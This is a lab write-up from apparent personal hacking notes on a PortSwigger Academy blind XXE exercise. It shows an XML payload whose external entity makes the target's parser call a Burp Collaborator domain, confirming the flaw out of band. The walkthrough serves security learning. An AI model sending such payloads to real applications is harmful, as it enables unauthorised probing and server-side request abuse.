> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xxe/blind-xxe-with-out-of-band-interaction.md).

# XXE Blind with Interaction Out of Band

XXE Blind with Interaction Out of Band notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Blind XXE with Out-of-band Interaction

The Check stock feature accepts an XML but **does not display** the answer. This is a XXE blind: you do not see directly the content returned by the parser. To detect and exploit vulnerability, out-of-band interactions (OOB) are generated — for example, a DNS lookup or an HTTP query to a controlled domain (Burp Collaborator / OAST) — to see if the parser performs external requests.

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
    test
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

{% endcode %}

If this XML is submitted, no response is obtained from the interface (blind behaviour).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db79e7f0dd8410168e9567e3b6e1f735f83f3ebf%2F%7B5AF8972C-4B99-497B-905E-A612A44560BE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Operating with External Entity to Burp Collaborator

Declare an external entity pointing to a controlled domain (here: `h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com`) to force the parser to perform an HTTP/DNS query — if the query arrives on the OOB service, the application is vulnerable to the blind XXE.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "https://h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com">]>
<stockCheck>
  <productId>
    &myFile;
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

After sending, we see the receipt of the request on the service OOB (Burp Collaborato) which confirms the presence of a blind XXE with off-band interaction.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79281ac8946101b47c9f3d2cdd20ab7afacdc26f%2F%7B587C2B13-DEFA-457F-8F55-99EF5779B934%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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